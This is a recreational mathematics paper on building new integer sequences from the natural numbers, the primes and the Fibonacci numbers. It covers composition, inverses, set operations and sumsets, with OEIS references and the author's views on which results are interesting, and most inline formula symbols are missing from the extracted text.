Formalities. I denote my main sequence to play with as , where is the index. I assume that the index starts with 1. This paper was synchronized with the OEIS in July 2007. Sequences in the OEIS might start with a different index.
## 2 Function Acting on a Sequence Elementwise
Suppose is a function from integers to integers. Then, given a sequence , we can define a sequence : ; where, for each index , . That is, each element of is equal to the function applied to the same-indexed element of . We say that the sequence is the function acting on the sequence .
There are two special cases to keep in mind. First case: if , then , that is acts as the identity. Second case: if , then . For my examples I consider four different cases for the function . The first two cases are the most standard ones: adding a constant and multiplying by a constant. The third case is a more complicated function I have chosen at random. The fourth case is a delta function, which plays a special role in this paper.
Adding a constant: Let , where is an integer. Then . For my example sequences I consider the special case :
• If are the natural numbers, then is:
2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12,
A020725: Integers 2.
• If are the prime numbers, then is:
3, 4, 6, 8, 12, 14, 18, 20, 24, 30, 32, 38, 42,
A008864: Primes + 1.
• If are the Fibonacci numbers, then is:
2, 2, 3, 4, 6, 9, 14, 22, 35, 56, 90, 145, 234,
A001611: Fibonacci numbers (A000045) + 1.
Discussion. Natural numbers. Adding a constant to the natural numbers produces a shift — the new sequence is essentially the same sequence as the natural number sequence itself.
Discussion. Prime numbers. Adding constants to the prime numbers generates an infinite number of sequences. Which of the constants are more interesting to add? In general, people find that adding a very small number, like 1 or 2, is more interesting than adding a random big number, like 117. Sometimes a particular number exists, related to the sequence, which is especially suitable for addition. In case of prime numbers, the number 2 is the difference between pairs of twin primes. Therefore, I find adding the number 2 to the prime numbers more interesting than adding the number 2 to a random sequence.
Discussion. Fibonacci numbers. The Fibonacci sequence is a linear recurrence of the second order. A constant sequence is a linear recurrence of the first order. Hence, we can expect that adding a constant to the Fibonacci sequence can create something interesting too. It is easy to see that if , then . That is, is a linear recursive sequence of the third order. As a result, I find adding a random constant to the Fibonacci sequence to be more interesting than adding the same constant to the sequence of prime numbers.
Multiplying by a constant: Let , where is an integer. Then . For my examples I consider the special case :
• If are the natural numbers, then is:
2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30,
A005843: The even numbers: a(n) = 2n.
• If are the prime numbers, then is:
4, 6, 10, 14, 22, 26, 34, 38, 46, 58, 62, 74, 82,
A100484: Even semiprimes.
• If are the Fibonacci numbers, then is:
2, 2, 4, 6, 10, 16, 26, 42, 68, 110, 178, 288, 466,
Almost A006355: Number of binary vectors of length n containing no singletons.
Also almost A055389: a(0)=1, then twice the Fibonacci sequence.
Also almost A118658: L_n - F_n where L_n is the Lucas Number and F_n is the Fibonacci Number.
Discussion. Prime numbers. The prime number sequence is a set of numbers that share a special multiplicative property — they are all divisible only by 1 and the number itself. Because of that, multiplication by a number might be more interesting than adding a number to this sequence. If you look at the results for the prime numbers, you will see that multiplication by 2 gives a new sequence with its own description: even numbers that are a product of two primes. At the same time adding one to the prime numbers gives a sequence that is described in terms of this exact operation: primes plus 1. That is, I find that multiplying the prime numbers by a constant is more interesting in general than adding a constant to the prime numbers.
Discussion. Fibonacci numbers. Now let’s look at the Fibonacci sequence, which is very different from the sequence of prime numbers. In particular, the Fibonacci sequence is a linear recursive sequence of the second order. Because of that, when the Fibonacci sequence is multiplied by a number the recurrence relation is preserved. The resulting sequence keeps most of the properties of the Fibonacci sequence. In some sense, the new sequence is almost as interesting as the Fibonacci sequence. At the same time, there is not much need to study two different sequences separately when they have the same recurrence relation. It is enough to study one of them, and then transfer the properties to the other. For historical reasons the Fibonacci sequence is the sequence of choice to study the recurrence .
Reverse square: The function could be any obscure function. Let . For example:
• If are the natural numbers, then is:
1, 4, 9, 61, 52, 63, 94, 46, 18, 1, 121, 441, 961, 691,
A002942: Squares written backwards.
• If are the prime numbers, then is:
4, 9, 52, 94, 121, 961, 982, 163, 925, 148, 169, 9631,
Almost A060998: Squares of 1 and primes, written backwards.
• If are the Fibonacci numbers, then is:
1, 1, 4, 9, 52, 46, 961, 144, 6511, 5203,
This sequence is not in the database. It is not interesting enough to be in the database. Actually, the most interesting thing about this sequence might be its presence on this page.
Discussion. The result of reversing a number depends on the base in which the number is written. We use base ten mostly because we have 10 fingers on our hands. If we had 14 fingers, the reverse operation would have had a very different result. For this reason, many mathematicians feel that the reversing operation is not a mathematical operation, and shouldn’t be considered interesting or worth looking at. This is the same reason why non-base related submissions to the OEIS database are more encouraged than base related submissions. At the same time, there are many sequences in the database that are base-related and people continue submitting them. One thing in favor of such sequences is that they often have very short and simple descriptions. I find sequences that can be described in two words very appealing. Also, people love symbols and wonder about symbolic properties of numbers. We can say that base-related sequences reflect not just properties of numbers, but also properties of the symbols representing them.
Delta function: A very special case for is a delta function. Namely , if and 0 otherwise. Let us consider an example where :
• If are the natural numbers, then is:
1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
A063524: Characteristic function of 1.
• If are the prime numbers, then is:
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
A000004: The zero sequence.
• If are the Fibonacci numbers, then is:
1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
A019590: Fermat’s Last Theorem: a(n) = 1 if xn̂+yn̂=zn̂ has a nontrivial solution in integers, otherwise a(n) = 0.
Discussion. Obviously, acting on a sequence is equal to 1, for such that , and is equal to 0 otherwise. If our sequence never reaches the value , then the resulting sequence is the zero sequence. The procedure of a delta function acting on a sequence can be especially interesting if our initial sequence reaches the value an infinite number of times.
## 3 Function Acting on an Index of a Sequence Element
Suppose is a function from integers to integers. Suppose further that is positive for positive , so that is a valid index. Then, given a sequence , we can define a sequence : ; where, for each index , . We say that the sequence is the function acting on the index of the sequence .
There are two special cases to keep in mind. First case: if , then , that is acts as the identity. Second case: if , then . For my examples I consider 3 different cases for the function . The first two cases are the most standard ones: adding a constant and multiplying by a constant. The third case is a more complicated function I have chosen at random.
Adding a constant: Let , where is an integer. Then ; that is, is the same sequence as but shifted by . Or, in other words, the same sequence starting from a different place.
Multiplying by a constant: Let , where is an integer. Then . For my examples I consider the special case :
• If are the natural numbers, then is:
2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30,
A005843: The even numbers.
• If are the prime numbers, then is:
3, 7, 13, 19, 29, 37, 43, 53, 61, 71, 79, 89, 101,
A031215: (2n)-th prime.
• If are the Fibonacci numbers, then is:
1, 3, 8, 21, 55, 144, 377, 987, 2584, 6765, 17711,
A001906: F(2n) = bisection of Fibonacci sequence: a(n)=3a(n-1)-a(n-2).
Discussion. You can notice that the bisection of the Fibonacci sequence has a recurrence relation in its own right. This is not a coincidence. In fact, if a sequence satisfies the recurrence relation , then its bisection satisfies the recurrence relation .
Square: could be any function. For example, let :
• If are the natural numbers, then is:
1, 4, 9, 16, 25, 36, 49, 64, 81, 100, 121, 144, 169,
A000290: The squares.
• If are the prime numbers, then is:
2, 7, 23, 53, 97, 151, 227, 311, 419, 541, 661, 827, 1009,
A011757: prime_(n2̂).
• If are the Fibonacci numbers, then is:
1, 3, 34, 987, 75025, 14930352, 7778742049, 10610209857723,
A054783: (n2̂)-th Fibonacci number.
Discussion. The choice of the function acting on the index in this case is not related to the inner properties of the prime numbers or the Fibonacci numbers. That is why many mathematicians might find the sequences A011757 and A054783 not very interesting. Indeed, if you look at these sequences in the database you will see that though they were submitted a long time ago, they’ve received no comments. Still, I know three things that could give extra points to the interestingness score of these two sequences:
1. The sequences have short descriptions, which is always a plus.
2. The sequences are increasing, which means they are not at random and have some order.
3. The growth rate for these two sequences can be easily approximated. Indeed, if describes the growth rate of , then describes the growth rate of ; and it is very easy to plug the square function into the growth rates for the prime numbers and the Fibonacci numbers.
## 4 Composition of Sequences
A sequence can be viewed as a function from positive integers to integers. Vice versa, any function on integers, when restricted to the positive integers, forms a sequence. Suppose we have two functions and . The function is called the composition of the two functions and . The idea of function composition can be expanded to sequences. Suppose we have two sequences: and . Additionally, suppose is positive for every . Then the sequence is called the composition sequence of and .
As we’ve seen before, composition with the natural numbers doesn’t change the sequence. That is, the natural number sequence acts as the identity for this operation.
Note. The composition of sequences procedure is very similar to the two previous procedures: function acting on a sequence element and function acting on an index. To look at this similarity in more detail, let us start with two sequences and and correspond to them two functions on positive integers: and . Suppose the sequence is positive, then is positive. Now the composition sequence is the same sequence as the function acting on elements of and also the same sequence as the function acting on indices of . On the other hand, if the sequence is not positive, we still can have a function acting on it. In this sense, a function acting on a sequence is a more general operation than the composition of two sequences. But for positive sequences, both a function acting on a sequence element and a function acting on an index are the same procedure as the composition of two sequences.
Self-composition: For this special case, let , then :
• If are the natural numbers, then is:
1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11,
A000027: The natural numbers.
• If are the prime numbers, then is:
3, 5, 11, 17, 31, 41, 59, 67, 83, 109, 127, 157,
A006450: Primes with prime subscripts.
• If are the Fibonacci numbers, then is:
1, 1, 1, 2, 5, 21, 233, 10946, 5702887, 139583862445,
A007570: F(F(n)), where F is a Fibonacci number.
Discussion. Similar to the discussion in the previous chapter, we can give extra interestingness points to the sequences A006450 and A007570: for their short descriptions, for being increasing sequences, for the ease of calculating their growth rates. Is there anything else? One can hope that if two sequences are related to each other their composition might be an exciting sequence. A sequence is definitely related to itself — is this enough? Obviously, the self-composition can’t be equally interesting for every sequence. What kinds of sequences allow the self-composition to produce something special? Are the prime numbers and the Fibonacci numbers the best choices to plug into the self-composition? I am not sure. I might prefer to plug the square sequence into the self-composition:
• If are the squares, then is:
1, 16, 81, 256, 625, 1296, 2401, 4096, 6561, 10000,
A000583: Fourth powers.
Composition: Due to triviality, I omit the cases where one of the sequences is the natural number sequence:
• If are the prime numbers and are the Fibonacci numbers, then is:
2, 2, 3, 5, 11, 19, 41, 73, 139, 257, 461, 827, 1471,
A030427: Prime(Fibonacci(n)).
• If are the Fibonacci numbers and are the prime numbers, then is:
1, 2, 5, 13, 89, 233, 1597, 4181, 28657, 514229, 1346269,
A030426: Fibonacci(prime(n)).
Discussion. The prime and the Fibonacci numbers are seemingly unrelated to each other. As a result, the following fact becomes amazing: every Fibonacci number that is prime has a prime index , with the exception of . That means the sequence A030426 above contains all prime Fibonacci numbers except 3. I find this sequence very interesting.
## 5 Compositional Inverse
As I mentioned before, the sequence of natural numbers acts as the identity under the composition operation. When we have an operation with an identity we usually try to define an inverse object. For many mathematical operations the inverse is unique, or in the worst case there are two inverses: left and right. With sequences everything is worse than the worst case. We will see that the inverses are not always defined and there can be many of them. Let us try to bring some order to this chaos of compositional inverses of sequences.
We can start with standard definitions for left and right inverses. Namely, given a sequence we say that a sequence is a left inverse of if the sequence is the natural number sequence. I denote a left inverse sequence as . Correspondingly, a right inverse sequence is denoted as , and it satisfies the property that the composition sequence is the natural numbers sequence. It goes without saying that the sequences and depend on the sequence . I will sometimes use the notation and in cases where I need this dependency to be explicit.
Left inverse. First we assume that is positive. Next, if takes the same value for two different indices , then the left inverse sequence cannot be defined. If doesn’t reach a number for any index , then could be any number. That is, in this case the left inverse isn’t defined uniquely. From here, we see that we can define the left inverse uniquely only if is a permutation of natural numbers and in this case the left inverse sequence is the reverse permutation.
Many of the interesting sequences are increasing. To be able to define a left inverse for an increasing sequence, we need this sequence not to take the same value for different indices. This requirement translates into a simple condition: our increasing sequence has to be strictly increasing. Suppose is a strictly increasing sequence. In this case the left inverse sequence can be defined. It still might not be unique, or more precisely, it is guaranteed not to be unique unless is the sequence of natural numbers.
Each time the left inverse is not unique we have infinitely many left inverses. To enjoy some order in this chaos of left inverses I would like to restrict candidates for the left inverse to non-decreasing sequences. In this case we can define two special left inverse sequences: and , called the minimal left inverse and the maximal left inverse correspondingly. We define them so that for any non-decreasing sequence , such that is a left inverse of , the following equations are true: .
It is easy to see that the is the number of elements in that are less than or equal to . Also the is the number of elements in that are less than , plus 1. In particular, equals 0 if belongs to and 1 otherwise. From here trivially we get the following equations: .
Left inverse:
• If are the natural numbers, then is uniquely defined and is:
1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11,
A000027: The natural numbers.
• If are the prime numbers, then is any sequence such that if is a prime number then is — the number of primes less than or equal to . Here are the minimal left inverse and the maximal left inverse:
• 0, 1, 2, 2, 3, 3, 4, 4, 4, 4, 5, 5, 6, 6, 6, 6, 7, 7, 8, 8,
A000720: pi(n), the number of primes n.
• 1, 1, 2, 3, 3, 4, 4, 5, 5, 5, 5, 6, 6, 7, 7, 7, 7, 8, 8, 9,
Almost A036234: Number of primes n, if 1 is counted as a prime.
• If are the Fibonacci numbers, then can’t be defined because . Suppose we start the Fibonacci sequence from the second 1. For this slightly trimmed Fibonacci sequence we can define the minimal left inverse and the maximal left inverse:
• 1, 2, 3, 3, 4, 4, 4, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 7,
A072649: n occurs A000045(n) times.
• 1, 2, 3, 4, 4, 5, 5, 5, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 8,
A131234: Starts with 1, then n appears Fibonacci(n-1) times.
Discussion. If you compare the descriptions above of the minimal/maximal left inverses for primes with the minimal/maximal left inverses for the Fibonacci sequence, you can notice a discrepancy in these descriptions. To explain this discrepancy, let me give you other definitions of the minimal/maximal left inverse sequences. Namely, given an increasing sequence , the minimal left inverse sequence can be described as: appears times. Correspondingly, the maximal left inverse sequence can be described as: appears times. With these definitions the discrepancy is explained by the fact that for the Fibonacci sequence the expressions and can be simplified into and correspondingly.
Right inverse. Again we assume that is positive. It is easy to see that if doesn’t reach a number for any index , then the right inverse can’t be defined. If takes the same value for two or more different indices , then the right inverse sequence can reach only one of those index values (and we can choose which one). From here, we see that we can define the right inverse uniquely only if is a permutation of natural numbers and in this case the right inverse sequence is the reverse permutation.
Suppose is a sequence that reaches every natural number value. Therefore, the right inverse sequence can be defined. The right inverse sequence might not be unique, but we can try to define two special right inverse sequences: and , called the minimal and the maximal right inverse correspondingly. We define them so that for any sequence , such that is a right inverse of , the following equations are true: . It is easy to see that is the smallest index , such that . Also, is the largest index , such that . It is easy to see that the minimal right inverse is always defined. At the same time, for the maximal right inverse to be defined, it is necessary and sufficient that reaches every value a finite number of times.
Suppose that is a non-decreasing sequence that reaches every natural number value a finite number of times. Then the maximal right inverse is defined and
maximalRightInv(n)=minimalRightInv(n+1)−1.
Suppose is a strictly increasing sequence. Then both the minimal and maximal left inverses are defined. Moreover, both of them are non-decreasing sequences that reach every value a finite number of times. This means that we can define the minimal and maximal right inverses on the sequences and . The following properties are true:
Examples. The right inverse sequence for the natural numbers is uniquely defined and is the sequence of natural numbers. The right inverse sequence for the prime or the Fibonacci numbers cannot be defined. Not to leave you without an example, let us see what happens if we make the composition of with the Fibonacci numbers:
• The composition of with the Fibonacci numbers:
0, 0, 1, 2, 3, 4, 6, 8, 11, 16, 24, 34, 51, 74, 111, 166, 251, 376,
A054782: Number of primes n-th Fibonacci number.
## 6 Function Acting on Two Sequences Elementwise
Suppose is an integer function of two integer variables. Then, given two sequences and , we can define a sequence , where, for each index , . We say that the sequence is the function acting on the sequences and elementwise.
This section is a generalization of the section “Function Acting on a Sequence Elementwise”. Following my pattern from that section I consider 3 different cases for the function : the sum of two sequences, the product of two sequences and a random function. At the same time I am breaking the pattern of the previous chapters: for the first time I am discussing how to create a new sequence using a pair of known sequences. This is the time to create a new pattern. The new pattern is the following: each time I create a new sequence based on a pair of sequences and I will look separately at two subcases. The first subcase is when is the same as and the second subcase is when they are different.
If the two sequences are the same: , then becomes a function of . Therefore, this subcase is a particular case of a function acting on a sequence. You might think that I have a right to skip this subcase as it formally belongs to another section of this paper. I am dropping this right in favor of fun, so this subcase stays.
Sum of two sequences. The sum, , of two sequences and is defined as . Summing a sequence with itself is the same as multiplying this sequence by 2. We already discussed this example before, hence, we can proceed with examples of the sums of two different basic sequences:
• If are the natural numbers and are the prime numbers, then is:
3, 5, 8, 11, 16, 19, 24, 27, 32, 39, 42, 49, 54, 57, 62,
A014688: a(n) = n-th prime + n.
• If are the natural numbers and are the Fibonacci numbers, then is:
2, 3, 5, 7, 10, 14, 20, 29, 43, 65, 100, 156, 246, 391, 625,
A002062: n-th Fibonacci number + n.
• If are the prime numbers and are the Fibonacci numbers, then is:
3, 4, 7, 10, 16, 21, 30, 40, 57, 84, 120, 181, 274, 420, 657,
A004397: n-th prime + n-th Fibonacci number.
Discussion. I would like to introduce the not very precise idea of a shiftable sequence. I call a sequence shiftable if it keeps some of its properties when started from a different index. In particular, it means that the order in which the sequence is presented is important and is related to the sequence’s properties. I consider the prime number sequence not very shiftable: the prime numbers do not relate to each other very well. The Fibonacci sequence is very shiftable. If you start the Fibonacci numbers from any place in the Fibonacci sequence, you will get a sequence with the same recurrence relation, but different initial terms. That means that your new sequence keeps many of the properties of the Fibonacci sequence. The natural number sequence is shiftable too. Starting the natural numbers from a different index is the same as adding a constant to the natural number sequence. The sum of two sequences procedure ties the two sequences by the same index in some sense. The question is, why do we tie by the same index? Why is better than ? If both sequences and are shiftable, then might be similar to and might be shiftable too. In particular, the properties of the sum might not depend as much on how the sequences are tied through the same index. For example, if is the sequence of natural numbers then and just differ by 1. The claim is: the more shiftable your sequences, the more interesting their sum might be. The shiftability considerations correlate with my votes for interestingness in the examples above. I find the sequence to be the most interesting out of the three sequences above, the sequence somewhat interesting, and the sequence the least interesting.
Product of two sequences. The product, , of two sequences and is defined as . First, let us consider the product when . Multiplying a sequence by itself is the same as squaring the sequence.
Square:
• If are the natural numbers, then its square is:
1, 4, 9, 16, 25, 36, 49, 64, 81, 100, 121, 144, 169,
A000290: The squares.
• If are the prime numbers, then its square is:
4, 9, 25, 49, 121, 169, 289, 361, 529, 841, 961, 1369,
A001248: Squares of primes.
• If are the Fibonacci numbers, then its square is:
1, 1, 4, 9, 25, 64, 169, 441, 1156, 3025, 7921, 20736,
A007598: F(n)2̂, where F() = Fibonacci numbers.
Discussion. These are all very interesting sequences. The first example — the squares — is a very basic sequence. The second example — the squares of primes — has no choice but to be an exciting sequence. Namely, primes are about multiplication properties; it is expected that you would multiply this sequence by itself and get many interesting properties. For example, the prime squares are the numbers that have exactly three divisors. I think the squares of the Fibonacci numbers is the least interesting sequence out of the three. In spite of that, by itself, the Fibonacci squares are very interesting. For example, this sequence is a linear recurrence of order 3. It satisfies the equation: .
Product of two different sequences:
• If are the natural numbers and are the prime numbers, then is:
2, 6, 15, 28, 55, 78, 119, 152, 207, 290, 341, 444, 533,
A033286: n*(n-th prime).
• If are the natural numbers and are the Fibonacci numbers, then is:
1, 2, 6, 12, 25, 48, 91, 168, 306, 550, 979, 1728, 3029,
A045925: n*Fibonacci(n).
• If are the prime numbers and are the Fibonacci numbers, then is:
2, 3, 10, 21, 55, 104, 221, 399, 782, 1595, 2759, 5328,
A064497: Prime(n) * Fibonacci(n).
Discussion. Considerations of shiftability apply to products too. You probably can guess my votes. Out of the three sequences above I consider the sequence to be the most interesting; the sequence somewhat interesting and the sequence not interesting. Ironically, the least interesting sequence I submitted myself. Why I did that is a separate strange and sentimental story, which I might tell some other time.
To diversify my examples, I would like to have as the third case a more complicated and a much less famous function. Namely, in this case is the concatenation of with the reverse of .
Concatenation of a sequence element with its reverse. Here is a puzzle for you: look at the examples below and find what is common for all the elements of all the three sequences.
• If are the natural numbers, then the concatenation of with the reverse of is:
11, 22, 33, 44, 55, 66, 77, 88, 99, 1001, 1111, 1221, 1331,
Almost A056524: Palindromes with even number of digits.
• If are the prime numbers, then the concatenation of with the reverse of is:
22, 33, 55, 77, 1111, 1331, 1771, 1991, 2332, 2992, 3113,
A067087: Concatenation of n-th prime and its reverse.
• If are the Fibonacci numbers, then the concatenation of with the reverse of is:
11, 11, 22, 33, 55, 88, 1331, 2112, 3443, 5555, 8998,
This sequence is not in the OEIS.
Discussion. The answer to the puzzle: all the elements of the resulting sequences are palindromes with an even number of digits. You might also have noticed that all the elements are divisible by 11. Here is another puzzle for you: why are all the elements divisible by eleven?
Now I would like to transition from puzzles to the discussion of interestingness of these sequences. The fact that I created puzzles from these sequences might make them interesting. But if you look at my puzzles closely you can see that the puzzles are really about the first sequence out of the three. Concatenation of a number with its reverse gives you a palindrome with an even number of digits. The second sequence is the subsequence of the first sequence with prime indices. Is it interesting? I am not sure. The last sequence is not in the database, and I do not plan to submit it. You can guess why I do not want to submit it — I really think it is not interesting.
Concatenation of one sequence element with the reverse of another sequence element. Now let us go back to two variables. Suppose is different from . The concatenation result depends on the order of the sequences. Obviously, is the reverse of . For this reason I am showing only one example out of the two for each pair of sequences:
• If are the natural numbers and are the prime numbers, then is:
12, 23, 35, 47, 511, 631, 771, 891, 932, 1092, 1113,
• If are the natural numbers and are the Fibonacci numbers, then is:
11, 21, 32, 43, 55, 68, 731, 812, 943, 1055, 1198,
• If are the prime numbers and are the Fibonacci numbers, then is:
21, 31, 52, 73, 115, 138, 1731, 1912, 2343, 2955, 3198,
Discussion. The sequences above are not in the OEIS. There are two good reasons they might not be that interesting, both of which we have encountered before. The first reason: the prime number and the Fibonacci number sequences are not strongly related to their indices. The second reason: the concatenation and the reversion are not extremely interesting operations. The main reason why they are not interesting is that they are heavily related to the base-10 representation of numbers. In our case the sequences themselves are not related to their base representation at all, which makes my examples especially artificial. I have to admit that that was my goal in choosing this particular “random” function — to have very artificial examples.
Function acting on many sequences elementwise. Of course, as you can guess, we can expand our definition to an integer function of many integer variables. In this case we need many sequences to plug in. Because I do not want to go too far away from my initial plan to start with one or two sequences, I will give only one example here — the sum of my three basic sequences:
• If are the natural numbers, are the prime numbers and are the Fibonacci numbers, then is:
4, 6, 10, 14, 21, 27, 37, 48, 66, 94, 131, 193, 287,
Discussion. This sequence is not in the database and probably it shouldn’t be. I tried this sequence with the Superseeker and found the suggested description. The fact that the Superseeker can recognize this sequence is another reason for me not to submit it.
## 7 Set Operations
In this chapter I discuss a parallel between sequences and sets. Given a sequence, we can correspond the set of values of this sequence to the sequence itself. Given a set of integers bounded from below, we can create a sequence by putting the numbers in this set in increasing order. Let us consider the set of natural numbers, which is conveniently bounded from below. That means that we can correspond a sequence to any non-empty subset of this set. And vice versa, we can correspond a subset of the set of natural numbers to any sequence of natural numbers. Note that strictly increasing sequences of natural numbers are in one-to-one correspondence with non-empty subsets of natural numbers.
Using the described correspondence with sets we can apply set operations to sequences. In the definitions below, I assume that and are sequences of natural numbers (not necessarily increasing). To apply a set operation to sequences we first take the subsets of the natural numbers that correspond to the initial sequences, apply our set operation to them, then take the corresponding sequence as the result. Here we consider the analogs of the following set operations for sequences: complement, intersection and union.
• The complementary sequence . Given a sequence , is the sequence of natural numbers that do not belong to .
• The intersection of two sequences . Given sequences and , the intersection is the sequence of natural numbers that belong to both and .
• The union of two sequences . Given sequences and , the union is the sequence of natural numbers that belong to either or .
Note that sometimes a set operation can produce an empty set. In this case the corresponding operation on sequences is not defined.
One of my basic sequences, the sequence of all natural numbers, corresponds to the universal set under set operations. As a result the complement of this sequence is not defined. The union of the natural number sequence with any sequence is the natural number sequence. The intersection of the natural number sequence with a sequence is the sequence of elements put in increasing order. In particular, the intersection of the natural numbers with prime numbers is the sequence of prime numbers and the intersection of the natural number sequence with the Fibonacci sequence is a trimmed Fibonacci sequence, where we have to remove the first duplicate 1. In the examples below I omit the natural number sequence, as I just fully described its behavior under set operations.
Also, it is not very interesting to discuss the intersection or the union of a sequence with itself. The intersection or the union of a strictly increasing sequence with itself is the same sequence. In general the intersection or the union of a sequence with itself is the sequence of the elements of the original sequence in increasing order. Below I present the leftover examples of set operations applied to my basic sequences.
Complement:
• If are the prime numbers, then is:
1, 4, 6, 8, 9, 10, 12, 14, 15, 16, 18, 20, 21, 22, 24,
A018252: The nonprime numbers (1 together with the composite numbers of A002808).
• If are the Fibonacci numbers, then is:
4, 6, 7, 9, 10, 11, 12, 14, 15, 16, 17, 18, 19, 20, 22, 23,
A001690: Non-Fibonacci numbers.
Discussion. The prime number sequence is property based — it is the sequence of all the numbers that have the property of being prime. It is very natural to define the prime number sequence through its corresponding set. Namely, we can define the set of prime numbers first; then the prime number sequence is the corresponding sequence. With the Fibonacci sequence the situation is quite opposite. The Fibonacci sequence itself is more primary than the corresponding set. Naturally, for property based sequences the set operations are usually more interesting. In this case, the set of non-prime numbers is easily defined through its property. If we exclude 1, the set of non-prime numbers gets its own name: composite numbers. The non-Fibonacci numbers are much less interesting.
Intersection. Here is my only leftover intersection example:
• If are the prime numbers and are the Fibonacci numbers, then is:
2, 3, 5, 13, 89, 233, 1597, 28657, 514229, 433494437,
A005478: Prime Fibonacci numbers.
Discussion. In general, I find the intersection operation more interesting than the union operation. I find the intersection especially interesting when we are dealing with property based sequences. In this case, the intersection means numbers that have both properties. For example, here is a very interesting intersection sequence of numbers that are square and triangular at the same time:
• If are the square numbers and are the triangular numbers, then is:
1, 36, 1225, 41616, 1413721, 48024900, 1631432881,
A001110: Numbers that are both triangular and square: a(n) = 34a(n-1) - a(n-2) + 2..
Union. Here is my union example:
• If are the prime numbers and are the Fibonacci numbers, then is:
1, 2, 3, 5, 7, 8, 11, 13, 17, 19, 21, 23, 29, 31, 34,
A060634: Union of Fibonacci numbers and prime numbers.
Discussion. Theoretically the union is dual to the intersection. Namely, the union is the complement of the intersection of the complements of the given sequences. One might argue that due to this symmetry the union should be as interesting as the intersection. However, when we are describing the interestingness of the sequences, very often the primary sequences are more interesting than their complements, and the duality argument is lost. For property based sequences the union means numbers that have either property. If the two properties are not related to each other it is not clear to me why the numbers with either of the properties should be joined in one sequence. To contradict my vote for the union not being interesting, I present an awesome example of the union of two sequences. In this case the properties are related and the union has dozens of interesting applications:
• If are the square numbers and are the oblong numbers, then is:
1, 2, 4, 6, 9, 12, 16, 20, 25, 30, 36, 42, 49, 56, 64,
A002620: Quarter-squares.
## 8 Function Acting on Sets
Suppose is a function from integers to integers. Then, given a sequence , we can define a sequence : as follows: take the set of numbers corresponding to the sequence , apply the function to each number in the set, take the resulting set (remove duplicates), then take the sequence corresponding to the result. In other words is the increasing sequence of all possible numbers that we can get when applying the function to the elements of . Note. This operation is defined only if applying the function to the elements of produces a set bounded from below.
If the sequence is an increasing sequence and the function is an increasing function, then obviously applying to the set of the elements of is the same as applying to elementwise: .
In the section on function acting on a sequence elementwise I had 4 different functions for my examples: adding a constant, multiplying by a constant, the reverse square and the delta-function. Given the similarity of this operation to the function acting on a sequence elementwise, it would be consistent to use the same 4 functions here.
Adding a constant. Adding a constant is an increasing function. The first two basic sequences are increasing. That means that adding a constant to the set of values of these sequences is the same as adding a constant to these sequences elementwise. The Fibonacci sequence is almost an increasing sequence. I leave it to the reader to think over the slight difference in the resulting sequences cause by adding a constant to the set of Fibonacci elements as opposed to adding a constant to the Fibonacci sequence.
Multiplying by a constant. For obvious reasons I do not want to multiply my sets of elements of my basic functions by negative numbers. I would happily multiply them by zero. In this case, independently of my starting sequence, my resulting sequence is a delightful sequence consisting of only one element which is 0. Multiplying our basic sequences by a positive constant gives us more diverse results than multiplying them by zero, but it is very similar to the function acting on a sequence elementwise. Namely, multiplying by a positive constant is an increasing function, and the same argument as for adding a constant applies here. That is, we saw the result of multiplying by 2 for the natural number sequence and the prime number sequence before; and with a slight change we saw the result for the Fibonacci sequence too.
Reverse square: Let . For example:
• If are the natural numbers, then is:
1, 4, 9, 18, 46, 52, 61, 63, 94, 121, 144, 148, 163,
A074896: Squares written backwards and sorted, duplicates removed.
• If are the prime numbers, then is:
4, 9, 52, 94, 121, 148, 163, 169, 925, 961, 982, 1273,
Not in the OEIS.
• If are the Fibonacci numbers, then is:
1, 4, 9, 46, 52, 144, 961, 1273, 1297, 5203, 6511,
Not in the OEIS.
Delta function: Let . Applying this function to the set of elements of any sequence can produce a sequence of length at most 2. Such degenerate sequences are not submitted to the database. Let us see what exactly happens to our basic sequences if we apply this function to the sets of their elements:
• If are the natural numbers, then is:
0, 1.
• If are the prime numbers, then is:
0.
• If are the Fibonacci numbers, then is:
0, 1.
Discussion. I wonder what is more interesting: to apply a function elementwise or to apply it to a set. In the first case the order of the result is defined by the order of the underlying sequence. In the second case the order is increasing. Which order is better? Probably it depends on the starting sequence and the function. My example of the reverse square is not interesting in any case, so it can’t help to decide.
Suppose is a function of two variables. Then, given sequences and , we can define a sequence : as follows: take the set of numbers corresponding to the sequence and another set corresponding to the sequence , apply the function to each pair of numbers from the first set and the second set, take the resulting set (remove duplicates), then take the sequence corresponding to the result. In other words is the increasing sequence of all possible numbers of the form .
Sum of two sets. Let , then is the sequence of all possible sums of the elements from the sequence and the sequence . If is the natural number sequence and is any sequence with the smallest element , then is the sequence of natural numbers starting from . For this reason in my examples I skip the cases where one of the sequences is the natural number sequence.
• If and are the prime numbers, then the sequence of all possible sums is:
4, 5, 6, 7, 8, 9, 10, 12, 13, 14, 15, 16, 18, 19,
A014091: Numbers that are the sum of 2 primes.
• If and are the Fibonacci numbers, then the sequence of all possible sums is:
2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 14, 15, 16, 18,
A059389: Sums of two nonzero Fibonacci numbers.
• If are the prime numbers and are the Fibonacci numbers, then the sequence of all possible sums is:
3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 30,
A132147: Numbers that can be presented as a sum of a prime number and a Fibonacci number. (0 is not considered a Fibonacci number).
Discussion. As I have pointed frequently out the Fibonacci numbers are more interesting as a sequence than as a set. Therefore, operations related to sets are usually much more interesting for the primes than for the Fibonacci numbers. Not surprisingly, the sequence of all possible sums of the prime numbers is the most interesting of the three above. This sequence is related to Goldbach’s conjecture that every even integer greater than 2 can be written as the sum of two primes. The fact that Goldbach’s conjecture is one of the oldest unsolved problems in number theory and in all of mathematics makes this sequence especially attractive and somewhat mysterious.
